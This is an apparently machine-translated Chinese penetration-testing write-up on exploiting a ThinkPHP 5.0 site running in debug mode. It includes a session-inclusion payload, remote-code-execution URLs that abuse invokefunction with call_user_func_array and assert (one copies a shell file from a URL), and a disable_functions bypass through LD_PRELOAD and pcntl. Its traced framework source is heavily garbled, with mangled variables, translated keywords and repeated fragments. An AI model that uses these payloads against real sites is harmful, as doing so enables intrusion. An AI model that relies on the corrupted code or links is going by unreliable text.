本文不能追溯到安全团队官方帐户的来源
0x01简介
我使用ThinkPhp v5.0。*框架和调试模式启用了该网站。我认为可以通过发送有效载荷来解决它,但是我没想到要完成它的过程。
0x02触摸坑
尝试执行命令,系统受到限制
尝试包括日志文件,open_basedir限制
这是一个想法,您可以在运行时包含日志文件,但是ThinkPHP的日志文件相对较大,有时会有许多奇怪的问题阻止代码执行。让我们将其作为替代方案。
尝试通过在thinkphp本身库中设置会话方法,然后将其写入TMP目录中的会话文件,然后包含它
1_method=__ constructFilter []=Think \ Session \ Session:SetMethod=GetServer [request_method]=? phpinfo();
俗话说,
0x03 getshell
,三名鹅卵石是一个Zhuge Liang,在向大师赛寻求帮助后,他们提供了解决方案。
诺埃尔大师的解决方案和分析:
call_user_func存在于request.php的filterValue函数下。根据有效负载,该过程已被跟踪。
首先,您将输入app.php的运行方法
12345678911112131415161719202122222222222255PUBLIC静态函数运行(请求$请求$ request=null){……………………………………………………………………………………………………………………当前课程以获取调度信息。如果您在索引模块下的索引控制器中访问索引方法,则$ dispatch=array(2){['type']=字符串(6)'模块'['module'['module']=array(3){[0]=string(5)=string(5)'index'[1]=string(5)=(5)'index'index'index'[2]=string(5)'index'indect==} self:Routecheck($ request,$ config); } //记录当前的调度信息中检索到的计划信息,即模块,控制器和方法名称存储在请求类$ request-request-dispatch($ dispatch)的调度属性中; //记录路由和请求信息。该模式可在\ application \ config.php参数app_debug中配置,if(self: $ debug){log3:333:record('[oute route]'。 log:record('[header]'。var_export($ request-header(),true),'info'); log:record('[param]'。var_export($ request-param(),true),'info'); }………………………………}在这里,我们主要关注两个函数Routecheck和param,首先查看Routecheck
12345678PUBLIC静态函数RouteCheck($ request,array $ config){$ path=$ request-path(); $ dep=$ config ['pathinfo_depr']; $结果=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']);它主要通过请求参数传递,并且在检查后基本上对所有内容进行了处理。
启用调试模式后,您可以输入param函数
1234567if(empty($ this-param)){$ method=$ this-method(true); $ this-param=array_merge($ this-get(false),$ vars,$ this-route(false));} return $ this-pution($ this-param,$ name,$ name,$ default,$ default,$ filter);跟进输入功能
1234567891011公共功能输入($ data=[],$ name='',$ default=null,$ filter=''){. $ filter=$ this-getFilter($ filter,$ filter,$ default);如果(is_array($ data)){array_walk_recursive($ data,[$ this,'filterValue'],$ filter);重置($ data); } else {$ this-filtervalue($ data,$ name,$ filter); } getFilter取出过滤器的值,这是断言
array_walk_recursive
array_walk_recursive()函数将用户定义的函数应用于数组中的每个元素。在函数中,数组的密钥名称和键值是参数。此函数和array_walk()函数之间的区别在于它可以操纵更深的数组(一个数组包含另一个数组)。
并将filterValue函数应用于$数据的每个元素,然后跟进filterValue
12345678功能滤波器($ value,$ key,$ efferters){. if(is_callable($ filter)){//调用函数或滤波$ values $ value $ value=call_user_func($ filter,$ filter,$ value); } ...} Master Gunmeng的解决方案和分析:
有效载荷参考:
来自:https://xz.aliyun.com/t/3570#toc-4
1http://127.0.0.1/index.php?s=index/think/think/invokefunctionfunction=call_user_func_arrayvars [0]
1https://127.0.0.1/?s=./\ think \ app/InvokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=phpinfo()=phpinfo()
1https://127.0.0.1/?s=./\ think \ app/invokefunctionfunctionfunction=call_user_func_arrayvars [0]=assertvars [1]=copy('http://127.0.0.0.0.0.1.1/shell.txt'1/shell.txt',考虑到当前的目录情况和分析:
Route.PHP的parseurl功能将处理URL
1234567 PRIVATE静态函数parseurl($ url,$ dep='/',$ autoSearch=false){. $ url=str_replace($ dep,'|',$ url);列表($ path,$ var)=self:parseurlpath($ url);}首先用|在URL中替换/然后帕尔塞尔路径将URL分开
123456789111121314151617PRIVATE静态函数parseurlPath($ url){//定界列表替换确保路由定义使用统一的定义者$ url=str_replace('|'|',','/'/'/',$ url); $ url=trim($ url,'/'); $ var=[]; if(false!==strpos($ url,'?')){..} elseif(strpos($ url,'/'')){//[module/controler/controler/operation] $ path=exploit('/',',$ url); } else {.} return [$ path,$ var]; }获取以下三个部分
loder.php下的parsename函数当模块加载时
1234567891011 PUBLIC静态函数parsename($ name,$ type=0,$ ucfirst=true){if($ type){$ name=preg_replace_callback('/_/_([a-za-za-z])返回$ ucfirst? ucfirst($ name): lcfirst($ name); } else {return strtolower(trim(preg_replace('/[a-z]/','_ \\ 0',$ name),'_''_')); }}
现在\ think \ app类将被实例化,并将执行InvokeFunction方法
因此,添加的原因./\是您可以进一步向前跳来跳去
0x04旁路disable_functions
视图禁用
我没有在开始时仔细看残疾的内容,所以我只是使用了
https://github.com/yangyangwithnu/bypass_disablefunc_via_ld_preload
但是发现Putenv被禁用了
通过本文更改方法
https://Mochazz.github.io/2018/09/27/%E6%B8%9M97%E9%E9%80%80%80%8F%E6%B5%B5%8B%E8B%E8%AF;
我了解到使用PCNTL扩展名,确认系统支持
最后,该命令成功执行